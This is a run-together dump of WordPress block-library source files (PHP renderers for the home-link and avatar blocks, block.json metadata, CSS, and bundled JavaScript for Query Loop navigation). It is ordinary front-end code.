	}

	if ( $has_named_text_color ) {
		// Add the color class.
		$colors['css_classes'][] = sprintf( 'has-%s-color', $context['textColor'] );
	} elseif ( $has_custom_text_color ) {
		// Add the custom color inline style.
		$colors['inline_styles'] .= sprintf( 'color: %s;', $context['style']['color']['text'] );
	}

	// Background color.
	$has_named_background_color  = array_key_exists( 'backgroundColor', $context );
	$has_custom_background_color = isset( $context['style']['color']['background'] );

	// If has background color.
	if ( $has_custom_background_color || $has_named_background_color ) {
		// Add has-background class.
		$colors['css_classes'][] = 'has-background';
	}

	if ( $has_named_background_color ) {
		// Add the background-color class.
		$colors['css_classes'][] = sprintf( 'has-%s-background-color', $context['backgroundColor'] );
	} elseif ( $has_custom_background_color ) {
		// Add the custom background-color inline style.
		$colors['inline_styles'] .= sprintf( 'background-color: %s;', $context['style']['color']['background'] );
	}

	return $colors;
}

/**
 * Build an array with CSS classes and inline styles defining the font sizes
 * which will be applied to the home link markup in the front-end.
 *
 * @param  array $context Home link block context.
 * @return array Font size CSS classes and inline styles.
 */
function block_core_home_link_build_css_font_sizes( $context ) {
	// CSS classes.
	$font_sizes = array(
		'css_classes'   => array(),
		'inline_styles' => '',
	);

	$has_named_font_size  = array_key_exists( 'fontSize', $context );
	$has_custom_font_size = isset( $context['style']['typography']['fontSize'] );

	if ( $has_named_font_size ) {
		// Add the font size class.
		$font_sizes['css_classes'][] = sprintf( 'has-%s-font-size', $context['fontSize'] );
	} elseif ( $has_custom_font_size ) {
		// Add the custom font size inline style.
		$font_sizes['inline_styles'] = sprintf( 'font-size: %s;', $context['style']['typography']['fontSize'] );
	}

	return $font_sizes;
}

/**
 * Builds an array with classes and style for the li wrapper
 *
 * @param  array $context    Home link block context.
 * @return string The li wrapper attributes.
 */
function block_core_home_link_build_li_wrapper_attributes( $context ) {
	$colors          = block_core_home_link_build_css_colors( $context );
	$font_sizes      = block_core_home_link_build_css_font_sizes( $context );
	$classes         = array_merge(
		$colors['css_classes'],
		$font_sizes['css_classes']
	);
	$style_attribute = ( $colors['inline_styles'] . $font_sizes['inline_styles'] );
	$classes[]       = 'wp-block-navigation-item';

	if ( is_front_page() ) {
		$classes[] = 'current-menu-item';
	} elseif ( is_home() && ( (int) get_option( 'page_for_posts' ) !== get_queried_object_id() ) ) {
		// Edge case where the Reading settings has a posts page set but not a static homepage.
		$classes[] = 'current-menu-item';
	}

	$wrapper_attributes = get_block_wrapper_attributes(
		array(
			'class' => implode( ' ', $classes ),
			'style' => $style_attribute,
		)
	);

	return $wrapper_attributes;
}

/**
 * Renders the `core/home-link` block.
 *
 * @param array    $attributes The block attributes.
 * @param string   $content    The saved content.
 * @param WP_Block $block      The parsed block.
 *
 * @return string Returns the post content with the home url added.
 */
function render_block_core_home_link( $attributes, $content, $block ) {
	if ( empty( $attributes['label'] ) ) {
		// Using a fallback for the label attribute allows rendering the block even if no attributes have been set,
		// e.g. when using the block as a hooked block.
		// Note that the fallback value needs to be kept in sync with the one set in `edit.js` (upon first loading the block in the editor).
		$attributes['label'] = __( 'Home' );
	}
	$aria_current = '';

	if ( is_front_page() ) {
		$aria_current = ' aria-current="page"';
	} elseif ( is_home() && ( (int) get_option( 'page_for_posts' ) !== get_queried_object_id() ) ) {
		// Edge case where the Reading settings has a posts page set but not a static homepage.
		$aria_current = ' aria-current="page"';
	}

	return sprintf(
		'<li %1$s><a class="wp-block-home-link__content wp-block-navigation-item__content" href="%2$s" rel="home"%3$s>%4$s</a></li>',
		block_core_home_link_build_li_wrapper_attributes( $block->context ),
		esc_url( home_url() ),
		$aria_current,
		wp_kses_post( $attributes['label'] )
	);
}

/**
 * Register the home block
 *
 * @uses render_block_core_home_link()
 * @throws WP_Error An WP_Error exception parsing the block definition.
 */
function register_block_core_home_link() {
	register_block_type_from_metadata(
		__DIR__ . '/home-link',
		array(
			'render_callback' => 'render_block_core_home_link',
		)
	);
}
add_action( 'init', 'register_block_core_home_link' );
{
	"$schema": "https://schemas.wp.org/trunk/block.json",
	"apiVersion": 3,
	"name": "core/social-link",
	"title": "Social Icon",
	"category": "widgets",
	"parent": [ "core/social-links" ],
	"description": "Display an icon linking to a social media profile or site.",
	"textdomain": "default",
	"attributes": {
		"url": {
			"type": "string"
		},
		"service": {
			"type": "string"
		},
		"label": {
			"type": "string"
		},
		"rel": {
			"type": "string"
		}
	},
	"usesContext": [
		"openInNewTab",
		"showLabels",
		"iconColor",
		"iconColorValue",
		"iconBackgroundColor",
		"iconBackgroundColorValue"
	],
	"supports": {
		"reusable": false,
		"html": false,
		"interactivity": {
			"clientNavigation": true
		}
	},
	"editorStyle": "wp-block-social-link-editor"
}
.wp-block-social-links .wp-social-link{line-height:0}.wp-block-social-links .wp-social-link button{color:currentColor;font-size:inherit;height:auto;line-height:0;opacity:1;padding:.25em}.wp-block-social-links.is-style-pill-shape .wp-social-link button{padding-left:.66667em;padding-right:.66667em}.wp-block-social-links.is-style-logos-only .wp-social-link button{padding:0}.wp-block-social-links .wp-social-link{
  line-height:0;
}
.wp-block-social-links .wp-social-link button{
  color:currentColor;
  font-size:inherit;
  height:auto;
  line-height:0;
  opacity:1;
  padding:.25em;
}

.wp-block-social-links.is-style-pill-shape .wp-social-link button{
  padding-left:.66667em;
  padding-right:.66667em;
}

.wp-block-social-links.is-style-logos-only .wp-social-link button{
  padding:0;
}.wp-block-social-links .wp-social-link{line-height:0}.wp-block-social-links .wp-social-link button{color:currentColor;font-size:inherit;height:auto;line-height:0;opacity:1;padding:.25em}.wp-block-social-links.is-style-pill-shape .wp-social-link button{padding-left:.66667em;padding-right:.66667em}.wp-block-social-links.is-style-logos-only .wp-social-link button{padding:0}.wp-block-social-links .wp-social-link{
  line-height:0;
}
.wp-block-social-links .wp-social-link button{
  color:currentColor;
  font-size:inherit;
  height:auto;
  line-height:0;
  opacity:1;
  padding:.25em;
}

.wp-block-social-links.is-style-pill-shape .wp-social-link button{
  padding-left:.66667em;
  padding-right:.66667em;
}

.wp-block-social-links.is-style-logos-only .wp-social-link button{
  padding:0;
}{
	"$schema": "https://schemas.wp.org/trunk/block.json",
	"apiVersion": 3,
	"name": "core/comment-content",
	"title": "Comment Content",
	"category": "theme",
	"ancestor": [ "core/comment-template" ],
	"description": "Displays the contents of a comment.",
	"textdomain": "default",
	"usesContext": [ "commentId" ],
	"attributes": {
		"textAlign": {
			"type": "string"
		}
	},
	"supports": {
		"color": {
			"gradients": true,
			"link": true,
			"__experimentalDefaultControls": {
				"background": true,
				"text": true
			}
		},
		"typography": {
			"fontSize": true,
			"lineHeight": true,
			"__experimentalFontFamily": true,
			"__experimentalFontWeight": true,
			"__experimentalFontStyle": true,
			"__experimentalTextTransform": true,
			"__experimentalTextDecoration": true,
			"__experimentalLetterSpacing": true,
			"__experimentalDefaultControls": {
				"fontSize": true
			}
		},
		"spacing": {
			"padding": [ "horizontal", "vertical" ],
			"__experimentalDefaultControls": {
				"padding": true
			}
		},
		"html": false
	}
}
.comment-awaiting-moderation{
  display:block;
  font-size:.875em;
  line-height:1.5;
}.comment-awaiting-moderation{display:block;font-size:.875em;line-height:1.5}.comment-awaiting-moderation{display:block;font-size:.875em;line-height:1.5}.comment-awaiting-moderation{
  display:block;
  font-size:.875em;
  line-height:1.5;
}<?php
/**
 * Server-side rendering of the `core/avatar` block.
 *
 * @package WordPress
 */

/**
 * Renders the `core/avatar` block on the server.
 *
 * @param array    $attributes Block attributes.
 * @param string   $content    Block default content.
 * @param WP_Block $block      Block instance.
 * @return string Return the avatar.
 */
function render_block_core_avatar( $attributes, $content, $block ) {
	$size               = isset( $attributes['size'] ) ? $attributes['size'] : 96;
	$wrapper_attributes = get_block_wrapper_attributes();
	$border_attributes  = get_block_core_avatar_border_attributes( $attributes );

	// Class gets passed through `esc_attr` via `get_avatar`.
	$image_classes = ! empty( $border_attributes['class'] )
		? "wp-block-avatar__image {$border_attributes['class']}"
		: 'wp-block-avatar__image';

	// Unlike class, `get_avatar` doesn't filter the styles via `esc_attr`.
	// The style engine does pass the border styles through
	// `safecss_filter_attr` however.
	$image_styles = ! empty( $border_attributes['style'] )
		? sprintf( ' style="%s"', esc_attr( $border_attributes['style'] ) )
		: '';

	if ( ! isset( $block->context['commentId'] ) ) {
		$author_id   = isset( $attributes['userId'] ) ? $attributes['userId'] : get_post_field( 'post_author', $block->context['postId'] );
		$author_name = get_the_author_meta( 'display_name', $author_id );
		// translators: %s is the Author name.
		$alt          = sprintf( __( '%s Avatar' ), $author_name );
		$avatar_block = get_avatar(
			$author_id,
			$size,
			'',
			$alt,
			array(
				'extra_attr' => $image_styles,
				'class'      => $image_classes,
			)
		);
		if ( isset( $attributes['isLink'] ) && $attributes['isLink'] ) {
			$label = '';
			if ( '_blank' === $attributes['linkTarget'] ) {
				// translators: %s is the Author name.
				$label = 'aria-label="' . esc_attr( sprintf( __( '(%s author archive, opens in a new tab)' ), $author_name ) ) . '"';
			}
			// translators: %1$s: Author archive link. %2$s: Link target. %3$s Aria label. %4$s Avatar image.
			$avatar_block = sprintf( '<a href="%1$s" target="%2$s" %3$s class="wp-block-avatar__link">%4$s</a>', esc_url( get_author_posts_url( $author_id ) ), esc_attr( $attributes['linkTarget'] ), $label, $avatar_block );
		}
		return sprintf( '<div %1s>%2s</div>', $wrapper_attributes, $avatar_block );
	}
	$comment = get_comment( $block->context['commentId'] );
	if ( ! $comment ) {
		return '';
	}
	/* translators: %s is the Comment Author name */
	$alt          = sprintf( __( '%s Avatar' ), $comment->comment_author );
	$avatar_block = get_avatar(
		$comment,
		$size,
		'',
		$alt,
		array(
			'extra_attr' => $image_styles,
			'class'      => $image_classes,
		)
	);
	if ( isset( $attributes['isLink'] ) && $attributes['isLink'] && isset( $comment->comment_author_url ) && '' !== $comment->comment_author_url ) {
		$label = '';
		if ( '_blank' === $attributes['linkTarget'] ) {
			// translators: %s is the Comment Author name.
			$label = 'aria-label="' . esc_attr( sprintf( __( '(%s website link, opens in a new tab)' ), $comment->comment_author ) ) . '"';
		}
		// translators: %1$s: Comment Author website link. %2$s: Link target. %3$s Aria label. %4$s Avatar image.
		$avatar_block = sprintf( '<a href="%1$s" target="%2$s" %3$s class="wp-block-avatar__link">%4$s</a>', esc_url( $comment->comment_author_url ), esc_attr( $attributes['linkTarget'] ), $label, $avatar_block );
	}
	return sprintf( '<div %1s>%2s</div>', $wrapper_attributes, $avatar_block );
}

/**
 * Generates class names and styles to apply the border support styles for
 * the Avatar block.
 *
 * @param array $attributes The block attributes.
 * @return array The border-related classnames and styles for the block.
 */
function get_block_core_avatar_border_attributes( $attributes ) {
	$border_styles = array();
	$sides         = array( 'top', 'right', 'bottom', 'left' );

	// Border radius.
	if ( isset( $attributes['style']['border']['radius'] ) ) {
		$border_styles['radius'] = $attributes['style']['border']['radius'];
	}

	// Border style.
	if ( isset( $attributes['style']['border']['style'] ) ) {
		$border_styles['style'] = $attributes['style']['border']['style'];
	}

	// Border width.
	if ( isset( $attributes['style']['border']['width'] ) ) {
		$border_styles['width'] = $attributes['style']['border']['width'];
	}

	// Border color.
	$preset_color           = array_key_exists( 'borderColor', $attributes ) ? "var:preset|color|{$attributes['borderColor']}" : null;
	$custom_color           = $attributes['style']['border']['color'] ?? null;
	$border_styles['color'] = $preset_color ? $preset_color : $custom_color;

	// Individual border styles e.g. top, left etc.
	foreach ( $sides as $side ) {
		$border                 = $attributes['style']['border'][ $side ] ?? null;
		$border_styles[ $side ] = array(
			'color' => isset( $border['color'] ) ? $border['color'] : null,
			'style' => isset( $border['style'] ) ? $border['style'] : null,
			'width' => isset( $border['width'] ) ? $border['width'] : null,
		);
	}

	$styles     = wp_style_engine_get_styles( array( 'border' => $border_styles ) );
	$attributes = array();
	if ( ! empty( $styles['classnames'] ) ) {
		$attributes['class'] = $styles['classnames'];
	}
	if ( ! empty( $styles['css'] ) ) {
		$attributes['style'] = $styles['css'];
	}
	return $attributes;
}

/**
 * Registers the `core/avatar` block on the server.
 */
function register_block_core_avatar() {
	register_block_type_from_metadata(
		__DIR__ . '/avatar',
		array(
			'render_callback' => 'render_block_core_avatar',
		)
	);
}
add_action( 'init', 'register_block_core_avatar' );
{
	"$schema": "https://schemas.wp.org/trunk/block.json",
	"apiVersion": 3,
	"name": "core/query",
	"title": "Query Loop",
	"category": "theme",
	"description": "An advanced block that allows displaying post types based on different query parameters and visual configurations.",
	"textdomain": "default",
	"attributes": {
		"queryId": {
			"type": "number"
		},
		"query": {
			"type": "object",
			"default": {
				"perPage": null,
				"pages": 0,
				"offset": 0,
				"postType": "post",
				"order": "desc",
				"orderBy": "date",
				"author": "",
				"search": "",
				"exclude": [],
				"sticky": "",
				"inherit": true,
				"taxQuery": null,
				"parents": []
			}
		},
		"tagName": {
			"type": "string",
			"default": "div"
		},
		"namespace": {
			"type": "string"
		},
		"enhancedPagination": {
			"type": "boolean",
			"default": false
		}
	},
	"providesContext": {
		"queryId": "queryId",
		"query": "query",
		"displayLayout": "displayLayout",
		"enhancedPagination": "enhancedPagination"
	},
	"supports": {
		"align": [ "wide", "full" ],
		"html": false,
		"layout": true,
		"interactivity": true
	},
	"editorStyle": "wp-block-query-editor"
}
import * as __WEBPACK_EXTERNAL_MODULE__wordpress_interactivity_8e89b257__ from "@wordpress/interactivity";
/******/ var __webpack_modules__ = ({

/***/ 438:
/***/ ((module) => {

module.exports = import("@wordpress/interactivity-router");;

/***/ })

/******/ });
/************************************************************************/
/******/ // The module cache
/******/ var __webpack_module_cache__ = {};
/******/ 
/******/ // The require function
/******/ function __webpack_require__(moduleId) {
/******/ 	// Check if module is in cache
/******/ 	var cachedModule = __webpack_module_cache__[moduleId];
/******/ 	if (cachedModule !== undefined) {
/******/ 		return cachedModule.exports;
/******/ 	}
/******/ 	// Create a new module (and put it into the cache)
/******/ 	var module = __webpack_module_cache__[moduleId] = {
/******/ 		// no module.id needed
/******/ 		// no module.loaded needed
/******/ 		exports: {}
/******/ 	};
/******/ 
/******/ 	// Execute the module function
/******/ 	__webpack_modules__[moduleId](module, module.exports, __webpack_require__);
/******/ 
/******/ 	// Return the exports of the module
/******/ 	return module.exports;
/******/ }
/******/ 
/************************************************************************/
/******/ /* webpack/runtime/define property getters */
/******/ (() => {
/******/ 	// define getter functions for harmony exports
/******/ 	__webpack_require__.d = (exports, definition) => {
/******/ 		for(var key in definition) {
/******/ 			if(__webpack_require__.o(definition, key) && !__webpack_require__.o(exports, key)) {
/******/ 				Object.defineProperty(exports, key, { enumerable: true, get: definition[key] });
/******/ 			}
/******/ 		}
/******/ 	};
/******/ })();
/******/ 
/******/ /* webpack/runtime/hasOwnProperty shorthand */
/******/ (() => {
/******/ 	__webpack_require__.o = (obj, prop) => (Object.prototype.hasOwnProperty.call(obj, prop))
/******/ })();
/******/ 
/************************************************************************/
var __webpack_exports__ = {};
// This entry need to be wrapped in an IIFE because it need to be isolated against other modules in the chunk.
(() => {

;// CONCATENATED MODULE: external "@wordpress/interactivity"
var x = (y) => {
	var x = {}; __webpack_require__.d(x, y); return x
} 
var y = (x) => (() => (x))
const interactivity_namespaceObject = x({ ["getContext"]: () => (__WEBPACK_EXTERNAL_MODULE__wordpress_interactivity_8e89b257__.getContext), ["getElement"]: () => (__WEBPACK_EXTERNAL_MODULE__wordpress_interactivity_8e89b257__.getElement), ["store"]: () => (__WEBPACK_EXTERNAL_MODULE__wordpress_interactivity_8e89b257__.store) });
;// CONCATENATED MODULE: ./node_modules/@wordpress/block-library/build-module/query/view.js
/**
 * WordPress dependencies
 */

const isValidLink = ref => ref && ref instanceof window.HTMLAnchorElement && ref.href && (!ref.target || ref.target === '_self') && ref.origin === window.location.origin;
const isValidEvent = event => event.button === 0 &&
// Left clicks only.
!event.metaKey &&
// Open in new tab (Mac).
!event.ctrlKey &&
// Open in new tab (Windows).
!event.altKey &&
// Download.
!event.shiftKey && !event.defaultPrevented;
(0,interactivity_namespaceObject.store)('core/query', {
  actions: {
    *navigate(event) {
      const ctx = (0,interactivity_namespaceObject.getContext)();
      const {
        ref
      } = (0,interactivity_namespaceObject.getElement)();
      const queryRef = ref.closest('.wp-block-query[data-wp-router-region]');
      if (isValidLink(ref) && isValidEvent(event)) {
        event.preventDefault();
        const {
          actions
        } = yield Promise.resolve(/* import() */).then(__webpack_require__.bind(__webpack_require__, 438));
        yield actions.navigate(ref.href);
        ctx.url = ref.href;

        // Focus the first anchor of the Query block.
        const firstAnchor = `.wp-block-post-template a[href]`;
        queryRef.querySelector(firstAnchor)?.focus();
      }
    },
    *prefetch() {
      const {
        ref
      } = (0,interactivity_namespaceObject.getElement)();
      if (isValidLink(ref)) {
        const {
          actions
        } = yield Promise.resolve(/* import() */).then(__webpack_require__.bind(__webpack_require__, 438));
        yield actions.prefetch(ref.href);
      }
    }
  },
  callbacks: {
    *prefetch() {
      const {
        url
      } = (0,interactivity_namespaceObject.getContext)();
      const {
        ref
      } = (0,interactivity_namespaceObject.getElement)();
      if (url && isValidLink(ref)) {
        const {
          actions
        } = yield Promise.resolve(/* import() */).then(__webpack_require__.bind(__webpack_require__, 438));
        yield actions.prefetch(ref.href);
      }
    }
  }
}, {
  lock: true
});

})();

.block-library-query-toolbar__popover .components-popover__content{min-width:230px}.wp-block-query__create-new-link{padding:0 16px 16px 52px}.block-library-query__pattern-selection-content .block-editor-block-patterns-list{display:grid;grid-template-columns:1fr 1fr 1fr;grid-gap:8px}.block-library-query__pattern-selection-content .block-editor-block-patterns-list .block-editor-block-patterns-list__list-item{margin-bottom:0}.block-library-query__pattern-selection-content .block-editor-block-patterns-list .block-editor-block-patterns-list__list-item .block-editor-block-preview__container{max-height:250px}.block-library-query-pattern__selection-modal .block-editor-block-patterns-list{column-count:2;column-gap:24px}@media (min-width:1280px){.block-library-query-pattern__selection-modal .block-editor-block-patterns-list{column-count:3}}.block-library-query-pattern__selection-modal .block-editor-block-patterns-list .block-editor-block-patterns-list__list-item{break-inside:avoid-column}.block-library-query-pattern__selection-modal .block-library-query-pattern__selection-search{background:#fff;margin-bottom:2px;padding:16px 0;position:sticky;top:0;z-index:2}.block-library-query-toolspanel__filters .components-form-token-field__help{margin-bottom:0}.block-library-query-toolspanel__filters .block-library-query-inspector__taxonomy-control:not(:last-child){margin-bottom:24px}@media (min-width:600px){.wp-block-query__enhanced-pagination-modal{max-width:480px}}.wp-block-query__enhanced-pagination-notice{margin:0}.block-library-query-toolbar__popover .components-popover__content{
  min-width:230px;
}

.wp-block-query__create-new-link{
  padding:0 52px 16px 16px;
}

.block-library-query__pattern-selection-content .block-editor-block-patterns-list{
  display:grid;
  grid-template-columns:1fr 1fr 1fr;
  grid-gap:8px;
}
.block-library-query__pattern-selection-content .block-editor-block-patterns-list .block-editor-block-patterns-list__list-item{
  margin-bottom:0;
}
.block-library-query__pattern-selection-content .block-editor-block-patterns-list .block-editor-block-patterns-list__list-item .block-editor-block-preview__container{
  max-height:250px;
}

.block-library-query-pattern__selection-modal .block-editor-block-patterns-list{
  column-count:2;
  column-gap:24px;
}
@media (min-width:1280px){
  .block-library-query-pattern__selection-modal .block-editor-block-patterns-list{
    column-count:3;
  }
}
.block-library-query-pattern__selection-modal .block-editor-block-patterns-list .block-editor-block-patterns-list__list-item{
  break-inside:avoid-column;
}
.block-library-query-pattern__selection-modal .block-library-query-pattern__selection-search{
  background:#fff;
  margin-bottom:2px;
  padding:16px 0;
  position:sticky;
  top:0;
  z-index:2;
}

.block-library-query-toolspanel__filters .components-form-token-field__help{
  margin-bottom:0;
}
.block-library-query-toolspanel__filters .block-library-query-inspector__taxonomy-control:not(:last-child){
  margin-bottom:24px;
}

@media (min-width:600px){
  .wp-block-query__enhanced-pagination-modal{
    max-width:480px;
  }
}

.wp-block-query__enhanced-pagination-notice{
  margin:0;
}<?php return array('dependencies' => array(), 'version' => 'ee101e08820687c9c07f');
.block-library-query-toolbar__popover .components-popover__content{min-width:230px}.wp-block-query__create-new-link{padding:0 52px 16px 16px}.block-library-query__pattern-selection-content .block-editor-block-patterns-list{display:grid;grid-template-columns:1fr 1fr 1fr;grid-gap:8px}.block-library-query__pattern-selection-content .block-editor-block-patterns-list .block-editor-block-patterns-list__list-item{margin-bottom:0}.block-library-query__pattern-selection-content .block-editor-block-patterns-list .block-editor-block-patterns-list__list-item .block-editor-block-preview__container{max-height:250px}.block-library-query-pattern__selection-modal .block-editor-block-patterns-list{column-count:2;column-gap:24px}@media (min-width:1280px){.block-library-query-pattern__selection-modal .block-editor-block-patterns-list{column-count:3}}.block-library-query-pattern__selection-modal .block-editor-block-patterns-list .block-editor-block-patterns-list__list-item{break-inside:avoid-column}.block-library-query-pattern__selection-modal .block-library-query-pattern__selection-search{background:#fff;margin-bottom:2px;padding:16px 0;position:sticky;top:0;z-index:2}.block-library-query-toolspanel__filters .components-form-token-field__help{margin-bottom:0}.block-library-query-toolspanel__filters .block-library-query-inspector__taxonomy-control:not(:last-child){margin-bottom:24px}@media (min-width:600px){.wp-block-query__enhanced-pagination-modal{max-width:480px}}.wp-block-query__enhanced-pagination-notice{margin:0}import*as e from"@wordpress/interactivity";var t={438:e=>{e.exports=import("@wordpress/interactivity-router")}},r={};function o(e){var n=r[e];if(void 0!==n)return n.exports;var i=r[e]={exports:{}};return t[e](i,i.exports,o),i.exports}o.d=(e,t)=>{for(var r in t)o.o(t,r)&&!o.o(e,r)&&Object.defineProperty(e,r,{enumerable:!0,get:t[r]})},o.o=(e,t)=>Object.prototype.hasOwnProperty.call(e,t),(()=>{const t=(e=>{var t={};return o.d(t,e),t})({getContext:()=>e.getContext,getElement:()=>e.getElement,store:()=>e.store}),r=e=>e&&e instanceof window.HTMLAnchorElement&&e.href&&(!e.target||"_self"===e.target)&&e.origin===window.location.origin;(0,t.store)("core/query",{actions:{*navigate(e){const n=(0,t.getContext)(),{ref:i}=(0,t.getElement)(),s=i.closest(".wp-block-query[data-wp-router-region]");if(r(i)&&(e=>!(0!==e.button||e.metaKey||e.ctrlKey||e.altKey||e.shiftKey||e.defaultPrevented))(e)){e.preventDefault();const{actions:t}=yield Promise.resolve().then(o.bind(o,438));yield t.navigate(i.href),n.url=i.href;const r=".wp-block-post-template a[href]";s.querySelector(r)?.focus()}},*prefetch(){const{ref:e}=(0,t.getElement)();if(r(e)){const{actions:t}=yield Promise.resolve().then(o.bind(o,438));yield t.prefetch(e.href)}}},callbacks:{*prefetch(){const{url:e}=(0,t.getContext)(),{ref:n}=(0,t.getElement)();if(e&&r(n)){const{actions:e}=yield Promise.resolve().then(o.bind(o,438));yield e.prefetch(n.href)}}}},{lock:!0})})();.block-library-query-toolbar__popover .components-popover__content{
  min-width:230px;
}

.wp-block-query__create-new-link{
  padding:0 16px 16px 52px;
}

.block-library-query__pattern-selection-content .block-editor-block-patterns-list{
  display:grid;
  grid-template-columns:1fr 1fr 1fr;
  grid-gap:8px;
}
.block-library-query__pattern-selection-content .block-editor-block-patterns-list .block-editor-block-patterns-list__list-item{
  margin-bottom:0;
}
.block-library-query__pattern-selection-content .block-editor-block-patterns-list .block-editor-block-patterns-list__list-item .block-editor-block-preview__container{
  max-height:250px;
}

.block-library-query-pattern__selection-modal .block-editor-block-patterns-list{
  column-count:2;
  column-gap:24px;
}
@media (min-width:1280px){
  .block-library-query-pattern__selection-modal .block-editor-block-patterns-list{
    column-count:3;
  }
}
.block-library-query-pattern__selection-modal .block-editor-block-patterns-list .block-editor-block-patterns-list__list-item{
  break-inside:avoid-column;
}
.block-library-query-pattern__selection-modal .block-library-query-pattern__selection-search{
  background:#fff;
  margin-bottom:2px;
  padding:16px 0;
  position:sticky;
  top:0;
  z-index:2;
}

.block-library-query-toolspanel__filters .components-form-token-field__help{
  margin-bottom:0;
}
.block-library-query-toolspanel__filters .block-library-query-inspector__taxonomy-control:not(:last-child){
  margin-bottom:24px;
}

@media (min-width:600px){
  .wp-block-query__enhanced-pagination-modal{
    max-width:480px;
  }
}

.wp-block-query__enhanced-pagination-notice{
  margin:0;
}<?php return array('dependencies' => array(), 'version' => '490915f92cc794ea16e1');
{
	"$schema": "https://schemas.wp.org/trunk/block.json",
	"apiVersion": 3,
	"name": "core/pullquote",
	"title": "Pullquote",
	"category": "text",
	"description": "Give special visual emphasis to a quote from your text.",
	"textdomain": "default",
	"attributes": {
		"value": {
			"type": "rich-text",
			"source": "rich-text",
			"selector": "p",
			"__experimentalRole": "content"
		},
		"citation": {
			"type": "rich-text",
			"source": "rich-text",
			"selector": "cite",
			"__experimentalRole": "content"
		},
		"textAlign": {
			"type": "string"
		}
	},
	"supports": {
		"anchor": true,
		"align": [ "left", "right", "wide", "full" ],
		"color": {
			"gradients": true,
			"background": true,
			"link": true,
			"__experimentalDefaultControls": {
				"background": true,
				"text": true
			}
		},
		"spacing": {
			"margin": true,
			"padding": true
		},
		"typography": {
			"fontSize": true,
			"lineHeight": true,
			"__experimentalFontFamily": true,
			"__experimentalFontWeight": true,
			"__experimentalFontStyle": true,
			"__experimentalTextTransform": true,
			"__experimentalTextDecoration": true,
			"__experimentalLetterSpacing": true,
			"__experimentalDefaultControls": {
				"fontSize": true
			}
		},
		"__experimentalBorder": {
			"color": true,
			"radius": true,
			"style": true,
			"width": true,
			"__experimentalDefaultControls": {
				"color": true,
				"radius": true,
				"style": true,
				"width": true
			}
		},
		"__experimentalStyle": {
			"typography": {
				"fontSize": "1.5em",
				"lineHeight": "1.6"
			}
		},
		"interactivity": {
			"clientNavigation": true
		}
	},
	"editorStyle": "wp-block-pullquote-editor",
	"style": "wp-block-pullquote"
}
.wp-block-pullquote{
  border-bottom:4px solid;
  border-top:4px solid;
  color:currentColor;
  margin-bottom:1.75em;
}
.wp-block-pullquote cite,.wp-block-pullquote footer,.wp-block-pullquote__citation{
  color:currentColor;
  font-size:.8125em;
  font-style:normal;
  text-transform:uppercase;
}.wp-block-pullquote.is-style-solid-color blockquote p{font-size:32px}.wp-block-pullquote.is-style-solid-color .wp-block-pullquote__citation{font-style:normal;text-transform:none}.wp-block-pullquote .wp-block-pullquote__citation{color:inherit}.wp-block-pullquote{
  border-bottom:4px solid;
  border-top:4px solid;
  color:currentColor;
  margin-bottom:1.75em;
}
.wp-block-pullquote cite,.wp-block-pullquote footer,.wp-block-pullquote__citation{
  color:currentColor;
  font-size:.8125em;
  font-style:normal;
  text-transform:uppercase;
}.wp-block-pullquote{border-bottom:4px solid;border-top:4px solid;color:currentColor;margin-bottom:1.75em}.wp-block-pullquote cite,.wp-block-pullquote footer,.wp-block-pullquote__citation{color:currentColor;font-size:.8125em;font-style:normal;text-transform:uppercase}.wp-block-pullquote.is-style-solid-color blockquote p{
  font-size:32px;
}
.wp-block-pullquote.is-style-solid-color .wp-block-pullquote__citation{
  font-style:normal;
  text-transform:none;
}

.wp-block-pullquote .wp-block-pullquote__citation{
  color:inherit;
}.wp-block-pullquote{
  box-sizing:border-box;
  overflow-wrap:break-word;
  padding:4em 0;
  text-align:center;
}
.wp-block-pullquote blockquote,.wp-block-pullquote cite,.wp-block-pullquote p{
  color:inherit;
}
.wp-block-pullquote blockquote{
  margin:0;
}
.wp-block-pullquote p{
  margin-top:0;
}
.wp-block-pullquote p:last-child{
  margin-bottom:0;
}
.wp-block-pullquote.alignleft,.wp-block-pullquote.alignright{
  max-width:420px;
}
.wp-block-pullquote cite,.wp-block-pullquote footer{
  position:relative;
}
.wp-block-pullquote .has-text-color a{
  color:inherit;
}

:where(.wp-block-pullquote){
  margin:0 0 1em;
}

.wp-block-pullquote.has-text-align-left blockquote{
  text-align:left;
}

.wp-block-pullquote.has-text-align-right blockquote{
  text-align:right;
}

.wp-block-pullquote.is-style-solid-color{
  border:none;
}
.wp-block-pullquote.is-style-solid-color blockquote{
  margin-left:auto;
  margin-right:auto;
  max-width:60%;
}
.wp-block-pullquote.is-style-solid-color blockquote p{
  font-size:2em;
  margin-bottom:0;
  margin-top:0;
}
.wp-block-pullquote.is-style-solid-color blockquote cite{
  font-style:normal;
  text-transform:none;
}

.wp-block-pullquote cite{
  color:inherit;
}.wp-block-pullquote{box-sizing:border-box;overflow-wrap:break-word;padding:4em 0;text-align:center}.wp-block-pullquote blockquote,.wp-block-pullquote cite,.wp-block-pullquote p{color:inherit}.wp-block-pullquote blockquote{margin:0}.wp-block-pullquote p{margin-top:0}.wp-block-pullquote p:last-child{margin-bottom:0}.wp-block-pullquote.alignleft,.wp-block-pullquote.alignright{max-width:420px}.wp-block-pullquote cite,.wp-block-pullquote footer{position:relative}.wp-block-pullquote .has-text-color a{color:inherit}:where(.wp-block-pullquote){margin:0 0 1em}.wp-block-pullquote.has-text-align-left blockquote{text-align:left}.wp-block-pullquote.has-text-align-right blockquote{text-align:right}.wp-block-pullquote.is-style-solid-color{border:none}.wp-block-pullquote.is-style-solid-color blockquote{margin-left:auto;margin-right:auto;max-width:60%}.wp-block-pullquote.is-style-solid-color blockquote p{font-size:2em;margin-bottom:0;margin-top:0}.wp-block-pullquote.is-style-solid-color blockquote cite{font-style:normal;text-transform:none}.wp-block-pullquote cite{color:inherit}.wp-block-pullquote.is-style-solid-color blockquote p{font-size:32px}.wp-block-pullquote.is-style-solid-color .wp-block-pullquote__citation{font-style:normal;text-transform:none}.wp-block-pullquote .wp-block-pullquote__citation{color:inherit}.wp-block-pullquote{border-bottom:4px solid;border-top:4px solid;color:currentColor;margin-bottom:1.75em}.wp-block-pullquote cite,.wp-block-pullquote footer,.wp-block-pullquote__citation{color:currentColor;font-size:.8125em;font-style:normal;text-transform:uppercase}.wp-block-pullquote.is-style-solid-color blockquote p{
  font-size:32px;
}
.wp-block-pullquote.is-style-solid-color .wp-block-pullquote__citation{
  font-style:normal;
  text-transform:none;
}

.wp-block-pullquote .wp-block-pullquote__citation{
  color:inherit;
